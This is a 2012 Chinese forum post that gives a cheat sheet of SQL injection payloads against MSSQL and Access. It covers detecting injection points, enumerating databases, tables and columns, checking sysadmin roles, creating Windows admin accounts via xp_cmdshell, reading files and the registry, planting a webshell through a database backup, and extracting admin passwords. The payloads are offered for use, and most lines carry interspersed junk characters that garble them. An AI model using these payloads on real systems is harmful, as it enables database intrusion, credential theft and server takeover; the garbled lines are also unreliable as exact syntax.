找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1944|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
. x- t; ^; m( }# d$ W  Y;and 1=1
4 m( U! F2 b# v" L+ e+ P/ l;and 1=2 ; V& q% c( F% L$ d% l" ]# b

  C6 V! {) ?, B5 O) T2.初步判断是否是mssql
: Q' S" N# [6 r1 |;and user>0 7 j; x/ c  [+ t+ |+ x5 q$ \
; a& l, Y/ I7 I6 t& @
3.判断数据库系统
- c* m9 h6 X! S$ h) f" o;and (select count(*) from sysobjects)>0 mssql 7 l) ~7 k) ]& [6 Q( K
;and (select count(*) from msysobjects)>0 access # X* @9 M$ G% ^! W. }& d

% S7 Q* c! @) z- @5 m# S4.注入参数是字符 : j# V7 C* z5 }) y* d& {( q# Z" p
'and [查询条件] and ''=' 1 T3 c) K2 Z. J5 {" t* e9 l* Y

* b3 i5 M& D. d- d5.搜索时没过滤参数的 / S! W- A* k* C! A/ S" ?
'and [查询条件] and '%25'=' ! x- c9 ~) Y5 [, C! V- @: \; Q

" n. O& f. B+ U, b9 ^6.猜数表名
: h; M! R2 M0 G! b) Q' |; @) F;and (select Count(*) from [表名])>0
$ M" E5 F: n# f, U$ K5 I; n; G6 l2 U1 g0 C
7.猜字段 - W5 k. K) z& U% Q2 e
;and (select Count(字段名) from 表名)>0 0 i' E5 O+ w  Z

3 r- z+ t: }+ l4 _; j7 s. \8.猜字段中记录长度
$ m% B: }- ~. C$ Z+ W, @& N# G; U# l;and (select top 1 len(字段名) from 表名)>0 + B7 A/ F) e1 n4 ~; B
8 x) B7 C' Z( p' _
9.(1)猜字段的ascii值(access)
* p+ L; x2 R5 i5 k;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 " R6 W# G/ q6 T* Z5 ~! `

2 h& P, j2 |2 S: p: J  w. v2 J9 g(2)猜字段的ascii值(mssql)
' f6 e) v6 z  V$ [  c; G;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ' M) Q' L* x9 r: K1 n* s8 K( `6 s

3 u  {+ @- {* O( r7 ~0 b) q: _10.测试权限结构(mssql)
) D( S8 I* V9 D, y# H;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
" S4 f# n  _  P4 I# P3 b;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1 m9 T6 s! T* f. S
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- " ~3 n9 F$ Q  V8 {
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5 _# n  a; |- g- j
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
/ s; E/ D2 M# M; q( l" B;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0 z/ j- C! R; V1 m3 J; Y- X
;and 1=(select IS_MEMBER('db_owner'));--
4 i* k% j' ]1 L: n% l3 x& L4 K$ P1 g
11.添加mssql和系统的帐户
6 U( H1 W. S# ^; Y5 Q9 q3 [, s;exec master.dbo.sp_addlogin username;--
' w9 U3 m4 ]/ L% `9 Y- z2 Y  v;exec master.dbo.sp_password null,username,password;-- 7 g/ U# E: U' j8 V$ H0 Q: Y
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
0 L$ O$ Z- W- O6 y* a- t;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
! O& s7 j0 B/ t- s6 w* [;exec master.dbo.xp_cmdshell 'net user username password /add';--
0 T) x2 P0 e9 G+ C  h5 S;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- / E7 Z) ?& j* V  ?0 j
4 a7 Q/ A6 r, T4 n2 w2 C2 h
12.(1)遍历目录
9 a. G  L4 ~! p+ B6 ]5 m;create table dirs(paths varchar(100), id int)
0 j( ]7 |' o% v$ |( s' f4 q: `0 ?;insert dirs exec master.dbo.xp_dirtree 'c:\' . C1 D9 q6 g, G. M" j
;and (select top 1 paths from dirs)>0
  s3 n4 W( t- V8 m;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
7 E  r4 p# d  Y8 X  ]7 P4 I( ^% G0 C+ G4 E
(2)遍历目录
, F4 R- X6 m$ m# }/ l" P% s/ I/ z) y;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
: q/ j0 g- w/ Z& c;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
4 ^) I& A/ |; c& `! C;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表   i9 O& T& O. s% U; r% ~! C
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 5 T% Y( R. B6 H
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
+ U* j6 X2 C3 V9 N
+ h& G3 g5 Q9 W! P' a/ n13.mssql中的存储过程 6 o; l* R7 V8 I7 q: A
xp_regenumvalues 注册表根键, 子键
% ]7 Z0 J; Q) [% _7 W7 B;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 . i: s* l' G) I
xp_regread 根键,子键,键值名
" _( ?9 G9 E# P& Y0 j  t: B;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
) b! B, i0 E6 I* mxp_regwrite 根键,子键, 值名, 值类型, 值
# f' c5 h( F% V3 [/ _' D" a; s值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9 w9 f7 ]9 T& B5 B- [/ Y: U* T
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 $ F0 x$ _( b' k+ ~4 M# i1 ~7 n$ L
xp_regdeletevalue 根键,子键,值名 ( }2 w/ x! r$ K; P, q" h& [" @
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
- |! T: X2 t/ ?% k" Uxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
, r6 G2 |& `% D% u
+ ~: k( ?8 l4 r9 X% s* \14.mssql的backup创建webshell
+ G3 b- K$ J/ y9 ?use model ! v' B& @2 E0 w6 [* C; L
create table cmd(str image);
0 ?- Q( I; r4 Hinsert into cmd(str) values ('<% Dim oScript %>'); 0 ~  H: B! q- F+ w- R
backup database model to disk='c:\l.asp'; , ]3 c. w4 Y/ Y5 B# U6 c& R

( N; }" X, e" b15.mssql内置函数   r9 U8 R5 {3 T8 q
;and (select @@version)>0 获得Windows的版本号
$ l9 g' s) r/ `7 c& ^+ w; u; D" Z;and user_name()='dbo' 判断当前系统的连接用户是不是sa / U5 v8 @! D+ X
;and (select user_name())>0 爆当前系统的连接用户
& t3 E9 D: \$ [: @' g8 j;and (select db_name())>0 得到当前连接的数据库
1 Y* F/ p) q/ T) I8 Z& d
/ {9 F8 n- c9 S5 n4 k) t. Y
. X7 k5 k: q5 F; x3 v. i0 ^) P7 k  M& F, f
MSSQL手注暴库
8 @3 ~8 h: ]" c4 l; j8 g
; _# o) I# w/ n) n% S' l1.暴出当前表名和列名2 f$ _& `9 C- \: C" t# f% K! z1 S
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
2 R5 f9 U( Z( ]2 T$ _
# i8 p8 P6 \: k% ]第一.爆出所有数据库名
% A# \, M( d8 L! [& e利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
6 t9 Q, z7 q7 [* V4 c第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。+ o( {4 }, r9 c
+ ?- y0 E; Q5 k6 ?& ~# w* ]! _# C
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名. {" ?# ~1 T6 L& @2 }/ G

( u5 _3 v" t0 K$ `4 n! n
$ w  C1 j, m* l% Y" u4 y6 ^第二.爆出指定库中的所有表名
0 A. |. u% M7 A) X" ?. u9 u得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。/ I% C9 q* X* p( ^4 O
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。2 I. ?  Y& i% h9 S4 l) r% V
- z$ \6 ?$ y; @( M) g" k
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--3 M% q" P  l$ ^* r
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
0 b. }3 B  p9 b  [. c1 i5 [and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
0 @$ Q: |( s. ^# L" w+ C, [
- i( A1 H) R" x7 `& a3 U$ _7 h4.爆出指定表中的所有列名4 _) B3 b5 H# y8 w
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) $ k" B$ k+ }: w& X8 _8 _
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
2 F( A" _, p: R- Z* C- c
5 x0 ^2 W" K, ?6 Oand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名2 n. m+ e7 h/ ^& l8 {
/ u& K7 E. ?8 J5 e" x- s9 o
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
/ t; z! m# x$ M- |. H依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
8 u: W( b+ b8 U  v. Y4 E) |3 n- e0 c0 g  Y- Z- X1 [
' B: I. n& a: W4 ~1 l
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
6 c6 }$ ?$ ?* Z, _. {$ a
( k- M, [: E+ a9 a, v2 Y/ c* b- nand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
0 Z; h1 T& [4 p8 z
) ~% H6 J5 T  F0 N. w: Gand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 5 u, Q& C' X/ c

3 S+ q" I! `# Q' x- F2 p  Y8 e8 m6 e1 k
0 C* U8 ^  `4 Q" n3 p0 b  i6 [
5.读取指定表中的数据
( k0 @) t% }& T4 P  |* W" ^9 K9 C
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 * V. L' G7 N7 O4 r4 o

- [5 Y3 [  I: o0 l# }6 G9 n) W+ Pand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--  d* [" U, i8 X9 ~: @
! |7 _4 P- Q: z/ w1 |: A8 ?
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
$ e* R/ K# e% g; B/ K$ Z4 Y, G
* G$ x) I3 S' ~8 S' w% i3 Z& }' [' d! A+ ~- r. T; H2 {
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
$ E1 F* b+ A/ I; i" p2 ~  o$ X- C
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)5 `+ S5 g! H7 ?

; s# q1 v, y! u6 S3 h% V* eand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
; P1 ]# T% x7 `3 ~) _
( `3 u! m( }& e: j$ r# p知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
8 K( _2 W  k/ }, r  j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表